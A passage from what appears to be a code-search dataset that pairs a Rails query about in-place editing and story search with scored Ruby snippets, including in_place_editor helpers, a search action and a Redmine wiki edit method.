make for one.\n menu = {\"cookie\" => 1, \"cake\" => 5, \"pie\" => 7}\n #will check whether or not the item is in the menu.\n raise ArgumentError, \"#{item_to_make} is not a valid input\" unless menu.include? item_to_make\n # error_counter will raise ArgumentError if item to make is not in the library.\n #serving_size will give us the amount of item to make\n serving_size = menu[item_to_make]\n #serving_size_mod will give us the leftover amount of ingredient we get (if any)\n remainder = ingredient_quantity % serving_size\n if remainder < 5\n suggested_items = \"You should make #{remainder} cookies.\"\n else\n suggested_items = \"You should make #{remainder/5} cake and #{(remainder%5)} cookies.\"\n end\n output = \"Calculations complete: Make #{ingredient_quantity/serving_size} of #{item_to_make}\"\n remainder == 0 ? output : \"#{output} and you have #{remainder} leftover ingredients. #{suggested_items}\"\n # outputs how many items were made and how many leftover ingredients there are.\nend", "title": "" }, { "docid": "73c6e035819f52c112c5e2f4f11e1d66", "score": "0.6125421", "text": "def size_mb() \n return size / 1048576 #(1024 * 1024) \n end", "title": "" }, { "docid": "73c6e035819f52c112c5e2f4f11e1d66", "score": "0.6125421", "text": "def size_mb() \n return size / 1048576 #(1024 * 1024) \n end", "title": "" } ]
47b52578cc8501e4207494460a231dcf
Declaration for inplace editing plugin in_place_edit_for :story, :title Added this for implementing search functionality which currently only exists in Mobile Safari apps MM Nov 25, 2008
[ { "docid": "50ca827af174a18de7afe75e331de689", "score": "0.0", "text": "def search\n @stories = Story.find :all, :conditions => [ \"title like ? OR description like ? \", \"%#{params[:query]}%\", \"%#{params[:query]}%\"]\n respond_to do |format|\n format.html # index.html.erb\n format.xml { render :xml => @stories }\n format.mobilesafari { render :layout => false }\n end\n end", "title": "" } ]
[ { "docid": "c0cbd6bf80bd1274a64f714e1feec7df", "score": "0.624986", "text": "def edit_title; end", "title": "" }, { "docid": "34d5dded31e55c0e78c595d3edced29d", "score": "0.60407186", "text": "def in_place_editor(field_id, options = {})\n if options[:collection]\n function = \"new Ajax.InPlaceCollectionEditor(\"\n else \n function = \"new Ajax.InPlaceEditor(\"\n end\n function << \"'#{field_id}', \"\n function << \"'#{url_for(options[:url])}'\"\n \n options[:cancel_link] ||= false\n options[:ok_button] ||= false\n options[:submit_on_blur] = options[:submit_on_blur].nil? ? true : options[:submit_on_blur]\n options[:saving_text] ||= _(\"Saving...\")\n options[:eval_on_change] = options[:eval_on_change].nil? ? true : options[:submit_on_blur]\n \n js_options = {}\n js_options['cancelText'] = %('#{options[:cancel_text]}') if options[:cancel_text]\n js_options['okText'] = %('#{options[:save_text]}') if options[:save_text]\n js_options['loadingText'] = %('#{options[:loading_text]}') if options[:loading_text]\n js_options['savingText'] = %('#{options[:saving_text]}') if options[:saving_text]\n js_options['rows'] = options[:rows] if options[:rows]\n js_options['cols'] = options[:cols] if options[:cols]\n js_options['size'] = options[:size] if options[:size]\n js_options['externalControl'] = \"'#{options[:external_control]}'\" if options[:external_control]\n js_options['loadTextURL'] = \"'#{url_for(options[:load_text_url])}'\" if options[:load_text_url] \n js_options['ajaxOptions'] = options[:options] if options[:options]\n js_options['evalScripts'] = options[:script] if options[:script]\n js_options['callback'] = \"function(form) { return #{options[:with]} }\" if options[:with]\n js_options['clickToEditText'] = %('#{options[:click_to_edit_text]}') if options[:click_to_edit_text]\n js_options['cancelLink'] = options[:cancel_link] unless options[:cancel_link].nil?\n js_options['okButton'] = options[:ok_button] unless options[:ok_button].nil?\n js_options['submitOnBlur'] = options[:submit_on_blur] unless options[:submit_on_blur].nil?\n js_options['highlightcolor'] = %('#{options[:highlight_color]}') if options[:highlight_color]\n js_options['highlightendcolor'] = %('#{options[:highlight_end_color]}') if options[:highlight_end_color]\n js_options['paramName'] = %('#{options[:parameter]}') if options[:parameter]\n js_options['evalOnChange'] = options[:eval_on_change] unless options[:eval_on_change].nil?\n js_options['collection'] = options[:collection].inspect if options[:collection]\n function << (', ' + options_for_javascript(js_options)) unless js_options.empty?\n \n function << ')'\n \n javascript_tag(function)\n end", "title": "" }, { "docid": "3a1b2eaf6292fdf96c437e59fb90e23a", "score": "0.59723157", "text": "def in_place_editor(field_id, options = {})\n function = \"new Ajax.InPlaceEditor(\"\n function << \"'#{field_id}', \"\n function << \"'#{url_for(options[:url])}'\"\n\n js_options = {}\n\n if protect_against_forgery?\n options[:with] ||= \"Form.serialize(form)\"\n options[:with] += \" + '&authenticity_token=' + encodeURIComponent('#{form_authenticity_token}')\"\n options[:parameters].each_pair {|k,v| options[:with] += \" + '&#{k.to_s}=' + encodeURIComponent('#{v.to_s}')\"} if options[:parameters]\n end\n \n \n\n js_options['cancelText'] = %('#{options[:cancel_text]}') if options[:cancel_text]\n js_options['okText'] = %('#{options[:save_text]}') if options[:save_text]\n js_options['loadingText'] = %('#{options[:loading_text]}') if options[:loading_text]\n js_options['savingText'] = %('#{options[:saving_text]}') if options[:saving_text]\n js_options['rows'] = options[:rows] if options[:rows]\n js_options['cols'] = options[:cols] if options[:cols]\n js_options['size'] = options[:size] if options[:size]\n js_options['externalControl'] = \"'#{options[:external_control]}'\" if options[:external_control]\n js_options['loadTextURL'] = \"'#{url_for(options[:load_text_url])}'\" if options[:load_text_url]\n js_options['ajaxOptions'] = options[:options] if options[:options]\n js_options['htmlResponse'] = !options[:script] if options[:script]\n js_options['callback'] = \"function(form) { return #{options[:with]} }\" if options[:with]\n js_options['clickToEditText'] = %('#{options[:click_to_edit_text]}') if options[:click_to_edit_text]\n js_options['textBetweenControls'] = %('#{options[:text_between_controls]}') if options[:text_between_controls]\n js_options['onComplete'] = %('#{options[:on_complete]}') if options[:on_complete]\n js_options['onFailure'] = %('#{options[:on_failure]}') if options[:on_failure]\n function << (', ' + options_for_javascript(js_options)) unless js_options.empty?\n \n function << ')'\n\n javascript_tag(function)\n end", "title": "" }, { "docid": "dac97522d74f33ca865395be795e0c82", "score": "0.58510345", "text": "def inplace_editor_for object, method, type, options = {}\n options = options.dup\n\n url = options.delete(:url) { object }\n url = url_for(url) unless url.is_a? String\n object = object.last if object.is_a? Array\n\n id = \"#{dom_id(object)}_#{method.to_s}\"\n klass = \"#{dom_class(object)}_#{method.to_s}\"\n title = options.fetch(:title) { id.humanize }\n\n data = {\n type: type.to_s,\n resource: object.class.to_s.underscore,\n name: method.to_s,\n original_title: title,\n url: url\n }\n\n options.reverse_merge! id: id, class: ['editable', klass, options.delete(:class)].compact\n options.deep_merge! data: data\n\n if block_given?\n text = capture { yield(object) }.html_safe\n else\n text = object.public_send method\n text = textarea_format(text) if 'textarea' == type.to_s\n end\n\n content_tag :a, text, options\n end", "title": "" }, { "docid": "4e0efe85bc4595f0f5cf73c9a1a1533b", "score": "0.5845669", "text": "def set_box_desc\n @box = Box.find(params[:id])\n #Get Box ID from parameter\n if params[:value] == \"\"\n @box.desc = \"Click To Edit\" #if box id is null, the editor will not show anything, thus give it a string \"click to edit\"\n else\n @box.desc = params[:value]\n end\n @box.save\n render :update do |page|\n page.replace_html \"inplaceedit_\" + params[:id], \"<div class='inplaceedit'>\" + in_place_editor_field (:box, :desc, {}, :cols => 21, :rows => 2) + \"</div>\"\n end\n end", "title": "" }, { "docid": "03269b7353e60e7e373ef0b15969a043", "score": "0.5813901", "text": "def edit() end", "title": "" }, { "docid": "03269b7353e60e7e373ef0b15969a043", "score": "0.5813901", "text": "def edit() end", "title": "" }, { "docid": "1086aa2cb4705bac7725c5108f441d0f", "score": "0.5760943", "text": "def article_edit_title(article)\n capture do\n concat(\"#{:EDITING.l}: \")\n concat(article_show_title(article))\n end\n end", "title": "" }, { "docid": "b27e5c8d877e744927398a65b9a7bc8d", "score": "0.57536536", "text": "def edit_description; end", "title": "" }, { "docid": "becda4f8510f2c02a83737cf10dcd02e", "score": "0.5742434", "text": "def text_edits; end", "title": "" }, { "docid": "f88aeaba1175a4da259885b7696cec80", "score": "0.57308733", "text": "def edit ; end", "title": "" }, { "docid": "f88aeaba1175a4da259885b7696cec80", "score": "0.57308733", "text": "def edit ; end", "title": "" }, { "docid": "eeea8294d37f1bb6eb801779dee0046a", "score": "0.5720194", "text": "def in_place_editor_field(object, method, tag_options = {}, in_place_editor_options = {})\n tag = ::ActionView::Helpers::InstanceTag.new(object, method, self)\n tag_options = {:tag => \"span\", :id => \"#{object}_#{method}_#{tag.object.id}_in_place_editor\", :class => \"in_place_editor_field\"}.merge!(tag_options)\n # LM: Note addition of the controller option\n in_place_editor_options[:url] = in_place_editor_options[:url] || url_for({ :controller => object.to_s.pluralize, :action => \"set_#{object}_#{method}\", :id => tag.object.id })\n tag.to_content_tag(tag_options.delete(:tag), tag_options) +\n in_place_editor(tag_options[:id], in_place_editor_options)\n end", "title": "" }, { "docid": "16fdf1312d8ae40dfdee5ec11ced36f0", "score": "0.56864667", "text": "def edit\n @title = find_title\n end", "title": "" }, { "docid": "558fe10a3120281247ab40d1597cc5a7", "score": "0.5659626", "text": "def add_edit_stuff\n\t\t\n\tend", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "7a50b8dde89fe9290163ca8e27a336fe", "score": "0.56498384", "text": "def edit; end", "title": "" }, { "docid": "d5bff8b1ee4f54532f96c17c3380d923", "score": "0.56478226", "text": "def in_place_editor_field(object, method, tag_options = {}, in_place_editor_options = {})\n tag = ::ActionView::Helpers::InstanceTag.new(object, method, self)\n tag_options = {:tag => \"span\", :id => \"#{object}_#{method}_#{tag.object.id}_in_place_editor\", :class => \"in_place_editor_field\"}.merge!(tag_options)\n in_place_editor_options[:url] = in_place_editor_options[:url] || url_for({ :action => \"set_#{object}_#{method}\", :id => tag.object.id })\n tag.to_content_tag(tag_options.delete(:tag), tag_options) +\n in_place_editor(tag_options[:id], in_place_editor_options)\n end", "title": "" }, { "docid": "d5bff8b1ee4f54532f96c17c3380d923", "score": "0.56478226", "text": "def in_place_editor_field(object, method, tag_options = {}, in_place_editor_options = {})\n tag = ::ActionView::Helpers::InstanceTag.new(object, method, self)\n tag_options = {:tag => \"span\", :id => \"#{object}_#{method}_#{tag.object.id}_in_place_editor\", :class => \"in_place_editor_field\"}.merge!(tag_options)\n in_place_editor_options[:url] = in_place_editor_options[:url] || url_for({ :action => \"set_#{object}_#{method}\", :id => tag.object.id })\n tag.to_content_tag(tag_options.delete(:tag), tag_options) +\n in_place_editor(tag_options[:id], in_place_editor_options)\n end", "title": "" }, { "docid": "f59a197ed6abc7941797e3225a1acec3", "score": "0.56411254", "text": "def edit\n\t\t# @story = Story.find(\tparams[:id]\t\t)\n\tend", "title": "" }, { "docid": "93a5604d642e017cd13e3e00fd27ea13", "score": "0.5630438", "text": "def edit # this needs a view for typing data\n\t# replaced by before action\n\t# @post = Post.find(params[\"id\"])\nend", "title": "" }, { "docid": "f5bed566f1f4a6d407094a6afb88c48f", "score": "0.5623594", "text": "def text_edit; end", "title": "" }, { "docid": "f5bed566f1f4a6d407094a6afb88c48f", "score": "0.5623594", "text": "def text_edit; end", "title": "" }, { "docid": "8740cc2522ab5005389f73c6f570b20d", "score": "0.5616809", "text": "def normal_edit\n end", "title": "" }, { "docid": "149f789f71699182b90dc6289d069b03", "score": "0.56151193", "text": "def post_edit\n @post = Post.find(params[:id])\n @plink = Post.permalink(@post[0])\n @tags = Tag.find(:all, :order => 'name asc')\n @authors = Author.find(:all, :order => 'name asc')\n @preview = (@post.body ? @post.body : '') + (@post.extended ? @post.extended : '')\n $admin_page_title = 'Editing post'\n @onload = \"document.forms['post_form'].elements['post[title]'].focus()\"\n render :template => 'admin/posts/post_edit'\n end", "title": "" }, { "docid": "59572fee31c7cb0d90c5dff38eb020f1", "score": "0.5567947", "text": "def in_place_editor_enhanced_field(object, method, tag_options = {}, in_place_editor_options = {})\n tag = ::ActionView::Helpers::InstanceTag.new(object, method, self)\n tag_options = {:tag => \"span\", :id => \"#{object}_#{method}_#{tag.object.id}_in_place_editor\", :class => \"in_place_editor_field\"}.merge!(tag_options)\n in_place_editor_options[:url] = in_place_editor_options[:url] || url_for({ :action => \"set_#{object}_#{method}\", :id => tag.object.id })\n name = tag.object.send(method) rescue '(none)'\n name = (((name=='') or (!name))?'(none)':name)\n content_tag(tag_options.delete(:tag), name, tag_options) +\n in_place_editor_enhanced(tag_options[:id], in_place_editor_options)\n end", "title": "" }, { "docid": "a58c1d7a05518df6c0e09afe71383528", "score": "0.5566402", "text": "def additional_text_edits; end", "title": "" }, { "docid": "a58c1d7a05518df6c0e09afe71383528", "score": "0.5566402", "text": "def additional_text_edits; end", "title": "" }, { "docid": "6eb3bc475f1a58adaae061f5ad2c3514", "score": "0.5553887", "text": "def setup_editors_flag(record)\n # ***\n title_info_field = alternate_script(record, '245')\n edited = false\n if title_info_field\n c_title_info = title_info_field.find{|s| s.code == 'c'}\n if (c_title_info and c_title_info.value and c_title_info.value.include?(\"edited\"))\n edited = true\n end\n end\n edited\n end", "title": "" }, { "docid": "2c1cd84ad68a2dd16afba470e9c7f5e7", "score": "0.5541915", "text": "def edit\n #defunct. not in use\n end", "title": "" }, { "docid": "57ab24c5bc79a89e81ecc726332d3dd1", "score": "0.55340856", "text": "def in_place_select(field_id, options = {})\n function = \"new Ajax.InPlaceCollectionEditor(\"\n function << \"'#{field_id}', \"\n function << \"'#{url_for(options[:url])}'\"\n\n js_options = {}\n js_options['cancelText'] = %('#{options[:cancel_text]}') if options[:cancel_text]\n js_options['okText'] = %('#{options[:save_text]}') if options[:save_text]\n js_options['loadingText'] = %('#{options[:loading_text]}') if options[:loading_text]\n js_options['savingText'] = %('#{options[:saving_text]}') if options[:saving_text]\n js_options['rows'] = options[:rows] if options[:rows]\n js_options['cols'] = options[:cols] if options[:cols]\n js_options['size'] = options[:size] if options[:size]\n js_options['externalControl'] = \"'#{options[:external_control]}'\" if options[:external_control]\n js_options['loadTextURL'] = \"'#{url_for(options[:load_text_url])}'\" if options[:load_text_url]\n js_options['ajaxOptions'] = options[:options] if options[:options]\n js_options['evalScripts'] = options[:script] if options[:script]\n js_options['onComplete'] = options[:on_complete] if options[:on_complete]\n js_options['callback'] = \"function(form) { return #{options[:with]} }\" if options[:with]\n js_options['clickToEditText'] = %('#{options[:click_to_edit_text]}') if options[:click_to_edit_text]\n\n js_options['collection'] = %(#{js_collection_for(options[:collection])}) if options[:collection]\n js_options['loadCollectionURL'] = %('#{url_for(options[:load_collection_url])}') if options[:load_collection_url]\n js_options['loadingCollectionText'] = %('#{options[:loading_collection_text]}') if options[:loading_collection_text]\n js_options['loadingClassName'] = %('#{options[:loading_class_name]}') if options[:loading_class_name]\n\n function << (', ' + options_for_javascript(js_options)) unless js_options.empty?\n function << ')'\n javascript_tag(function)\n end", "title": "" }, { "docid": "f815ed23dccd9e2d3f016d433442e2c5", "score": "0.55303043", "text": "def edits; end", "title": "" }, { "docid": "f815ed23dccd9e2d3f016d433442e2c5", "score": "0.55303043", "text": "def edits; end", "title": "" }, { "docid": "48c2a500777ee30362cea97ba3ffa382", "score": "0.55248547", "text": "def in_place_collection_editor(field_id, choices=[], options = {})\n function = \"new Ajax.InPlaceCollectionEditor(\"\n function << \"'#{field_id}', \"\n function << \"'#{url_for(options[:url])}'\"\n\n js_options = {}\n\n js_options['collection'] = choices.map {|choice| [ choice.last, choice.first ] }.to_json\n\n js_options['okButton'] = options[:ok_button] if options.has_key?(:ok_button)\n js_options['submitOnBlur'] = options[:submit_on_blur] if options.has_key?(:submit_on_blur)\n js_options['okText'] = %('#{options[:save_text]}') if options[:save_text]\n js_options['cancelText'] = %('#{options[:cancel_text]}') if options[:cancel_text]\n js_options['loadingText'] = %('#{options[:loading_text]}') if options[:loading_text]\n js_options['loadTextURL'] = \"'#{url_for(options[:load_text_url])}'\" if options[:load_text_url]\n js_options['savingText'] = %('#{options[:saving_text]}') if options[:saving_text]\n js_options['callback'] = \"function(form) { return #{options[:with]} }\" if options[:with]\n\n js_options['externalControl'] = \"'#{options[:external_control]}'\" if options[:external_control]\n js_options['ajaxOptions'] = options[:options] if options[:options]\n\n js_options['evalScripts'] = options[:script] if options[:script]\n js_options['paramName'] = %('#{options[:param_name]}') if options[:param_name]\n js_options['highlightcolor'] = %('#{options[:highlightcolor]}') if options[:highlightcolor]\n js_options['highlightendcolor'] = %('#{options[:highlightendcolor]}') if options[:highlightendcolor]\n js_options['onFailure'] = %('#{options[:on_failure]}') if options[:on_failure]\n js_options['savingClassName'] = %('#{options[:saving_class_name]}') if options[:saving_class_name]\n js_options['clickToEditText'] = %('#{options[:click_to_edit_text]}') if options[:click_to_edit_text]\n js_options['cancelLink'] = options[:cancel_link] if options.has_key?(:cancel_link)\n\n function << (', ' + options_for_javascript(js_options)) unless js_options.empty?\n\n function << ')'\n\n javascript_tag(function)\n end", "title": "" }, { "docid": "bbe2ff62699313ee4c1733a56ffd1317", "score": "0.55207855", "text": "def edit_form\n item_text = question_items.first.text #in_place_editor_field :question_cell, :items, {}, :rows => 3\n div_item(item_text, \"iteminformation\")\n end", "title": "" }, { "docid": "a38b1dae8026f43c50a1e24e9573eeec", "score": "0.55070335", "text": "def in_place_edit(tag, attr, options = {}, &block)\n\n # Nullify an edited tag for Intro sequence by changing its ID.\n if !contractor_missing_attr?(attr) or !h.own_profile?\n attr = \"#{attr}_edited\"\n end\n\n h.content_tag(tag, options.merge(id: attr.to_s), &block)\n end", "title": "" }, { "docid": "eddf59268842c5a2b241cc52a67ea62e", "score": "0.5505119", "text": "def edit\n if @story.created_with_story_builder?\n @story_builder = true\n render :builder\n else\n @story.title = @story.title_draft unless @story.title.present?\n @story.content = @story.content_draft unless @story.content.present?\n @story.place = @story.place_draft unless @story.place.present?\n render :edit\n end\n end", "title": "" }, { "docid": "2d72aa7354c7b5bec93289dcbd4391bd", "score": "0.54919964", "text": "def update!(**args)\n @indexable_text = args[:indexable_text] if args.key?(:indexable_text)\n @thumbnail = args[:thumbnail] if args.key?(:thumbnail)\n end", "title": "" }, { "docid": "e4b74e3a7a65018ca42d3cdc2378d2c9", "score": "0.5488073", "text": "def edit\n # not implemented yet\n end", "title": "" }, { "docid": "e4b74e3a7a65018ca42d3cdc2378d2c9", "score": "0.5488073", "text": "def edit\n # not implemented yet\n end", "title": "" }, { "docid": "faab6fb64cb9b914322d7685617739f3", "score": "0.547579", "text": "def edit\n @page_title = \"Edit\"\n end", "title": "" }, { "docid": "ce416972fc202292d4f1bb7eae5be88d", "score": "0.5457652", "text": "def edit\n\t \t# @story = Story.find(params[:id])\n\n\n\t end", "title": "" }, { "docid": "ad231308197618a08f497047d4e13a33", "score": "0.54163355", "text": "def late_edit\n\t\tend", "title": "" }, { "docid": "c94dce0ce83bf10ce4e6159c0b59214b", "score": "0.5413838", "text": "def edit_keyword\n \n end", "title": "" }, { "docid": "ff287aeb97d6d6e9c163ec0f9795f9e5", "score": "0.53902334", "text": "def edit_place\n edit_monitoring\n end", "title": "" }, { "docid": "4498508bf483f44a871bfceae700c1aa", "score": "0.53872204", "text": "def edit\n return render_403 unless editable?\n if @page.new_record?\n if params[:parent].present?\n @page.parent = @page.wiki.find_page(params[:parent].to_s)\n end\n end\n\n @content = @page.content_for_version(params[:version])\n @content ||= WikiContent.new(:page => @page)\n @content.text = initial_page_content(@page) if @content.text.blank?\n # don't keep previous comment\n @content.comments = nil\n\n # To prevent StaleObjectError exception when reverting to a previous version\n @content.version = @page.content.version if @page.content\n\n @text = @content.text\n if params[:section].present? && Redmine::WikiFormatting.supports_section_edit?\n @section = params[:section].to_i\n @text, @section_hash = Redmine::WikiFormatting.formatter.new(@text).get_section(@section)\n render_404 if @text.blank?\n end\n \n current_language \n html_title \n Redmine::Info.app_name \n csrf_meta_tag \n favicon \n stylesheet_link_tag 'jquery/jquery-ui-1.11.0', 'application', 'responsive', :media => 'all' \n stylesheet_link_tag 'rtl', :media => 'all' if l(:direction) == 'rtl' \n javascript_heads \n heads_for_theme \n call_hook :view_layouts_base_html_head \n yield :header_tags \n body_css_classes \n call_hook :view_layouts_base_body_top \n if User.current.logged? || !Setting.login_required? \n form_tag({:controller => 'search', :action => 'index', :id => @project}, :method => :get ) do \n hidden_field_tag(controller.default_search_scope, 1, :id => nil) if controller.default_search_scope \n label_tag 'flyout-search', '&#9906;'.html_safe, :class => 'search-magnifier search-magnifier--flyout' \n text_field_tag 'q', @question, :id => 'flyout-search', :class => 'small js-search-input', :placeholder => l(:label_search) \n end \n end \n if User.current.logged? \n if !Setting.gravatar_enabled? \n end \n if Setting.gravatar_enabled? \n link_to(avatar(User.current, :size => \"80\"), user_path(User.current)) \n end \n link_to_user(User.current, :format => :username) \n end \n if display_main_menu?(@project) \n l(:label_project) \n end \n l(:label_general) \n l(:label_profile) \n render_menu :account_menu \n content_tag('div', \"#{l(:label_logged_as)} #{link_to_user(User.current, :format => :username)}\".html_safe, :id => 'loggedas') if User.current.logged? \n render_menu :top_menu if User.current.logged? || !Setting.login_required? \n if User.current.logged? || !Setting.login_required? \n form_tag({:controller => 'search', :action => 'index', :id => @project}, :method => :get ) do \n hidden_field_tag(controller.default_search_scope, 1, :id => nil) if controller.default_search_scope \n link_to l(:label_search), {:controller => 'search', :action => 'index', :id => @project}, :accesskey => accesskey(:search) \n text_field_tag 'q', @question, :size => 20, :class => 'small', :accesskey => accesskey(:quick_search) \n end \n render_project_jump_box \n end \n page_header_title \n if display_main_menu?(@project) \n render_main_menu(@project) \n end \n sidebar_content? ? '' : 'nosidebar' \n yield :sidebar \n view_layouts_base_sidebar_hook_response \n render_flash_messages \n yield \n call_hook :view_layouts_base_content \n l(:label_loading) \n link_to Redmine::Info.app_name, Redmine::Info.url \n call_hook :view_layouts_base_body_bottom \n\n wiki_page_breadcrumb(@page) \n @page.pretty_title \n form_for @content, :as => :content,\n :url => {:action => 'update', :id => @page.title},\n :html => {:method => :put, :multipart => true, :id => 'wiki_form'} do |f| \n f.hidden_field :version \n if @section \n hidden_field_tag 'section', @section \n hidden_field_tag 'section_hash', @section_hash \n end \n error_messages_for 'content' \n text_area_tag 'content[text]', @text, :cols => 100, :rows => 25,\n :class => 'wiki-edit', :accesskey => accesskey(:edit) \n if @page.safe_attribute_names.include?('parent_id') && @wiki.pages.any? \n fields_for @page do |fp| \n l(:field_parent_title) \n fp.select :parent_id,\n content_tag('option', '', :value => '') +\n wiki_page_options_for_select(\n @wiki.pages.includes(:parent).to_a -\n @page.self_and_descendants, @page.parent) \n end \n end \n l(:field_comments) \n f.text_field :comments, :size => 120, :maxlength => 1024 \nl(:label_attachment_plural)\n render :partial => 'attachments/form' \n submit_tag l(:button_save) \n preview_link({:controller => 'wiki', :action => 'preview', :project_id => @project, :id => @page.title }, 'wiki_form') \n link_to l(:button_cancel), wiki_page_edit_cancel_path(@page) \n wikitoolbar_for 'content_text' \n end \n content_for :header_tags do \n robot_exclusion_tag \n end \n html_title @page.pretty_title \n\n if defined?(container) && container && container.saved_attachments \n container.saved_attachments.each_with_index do |attachment, i| \n i \n text_field_tag(\"attachments[p#{i}][filename]\", attachment.filename, :class => 'filename') +\n text_field_tag(\"attachments[p#{i}][description]\", attachment.description, :maxlength => 255, :placeholder => l(:label_optional_description), :class => 'description') +\n link_to('&nbsp;'.html_safe, attachment_path(attachment, :attachment_id => \"p#{i}\", :format => 'js'), :method => 'delete', :remote => true, :class => 'remove-upload') \n hidden_field_tag \"attachments[p#{i}][token]\", \"#{attachment.token}\" \n end \n end \n file_field_tag 'attachments[dummy][file]',\n :id => nil,\n :class => 'file_selector',\n :multiple => true,\n :onchange => 'addInputFiles(this);',\n :data => {\n :max_file_size => Setting.attachment_max_size.to_i.kilobytes,\n :max_file_size_message => l(:error_attachment_too_big, :max_size => number_to_human_size(Setting.attachment_max_size.to_i.kilobytes)),\n :max_concurrent_uploads => Redmine::Configuration['max_concurrent_ajax_uploads'].to_i,\n :upload_path => uploads_path(:format => 'js'),\n :description_placeholder => l(:label_optional_description)\n } \n l(:label_max_size) \n number_to_human_size(Setting.attachment_max_size.to_i.kilobytes) \n content_for :header_tags do \n javascript_include_tag 'attachments' \n end \n\nend", "title": "" }, { "docid": "419a6f93d773b84645ae2e147e8ea60c", "score": "0.5380499", "text": "def edit\n \n end", "title": "" }, { "docid": "90d492aae0fa1c8fbe1d81fc4656b5af", "score": "0.5365173", "text": "def rest_in_place_editor_field(object, method, tag_options = {}, in_place_editor_options = {})\n tag = ::ActionView::Helpers::InstanceTag.new(object, method, self)\n tag_options = {:tag => \"span\",\n :id => \"#{object}_#{method}_#{tag.object.id}_in_place_editor\",\n :class => \"in_place_editor_field\"}.merge!(tag_options)\n object_name = tag.object.class.to_s.underscore\n\n # setup restful update URL\n url = \"#{url_for(tag.object)}.json\"\n\n in_place_editor_options[:options] ||= {}\n in_place_editor_options[:options][:method] = '\"put\"'\n\n in_place_editor_options[:url] = in_place_editor_options[:url] || url\n\n # send up just the param being updated and the auth token if needed\n callback = \"function(form, value) {\n return '#{object_name}[#{method.to_s}]=' + encodeURIComponent(value)\"\n callback += \"+ '&authenticity_token=' + encodeURIComponent('#{form_authenticity_token}')\" if 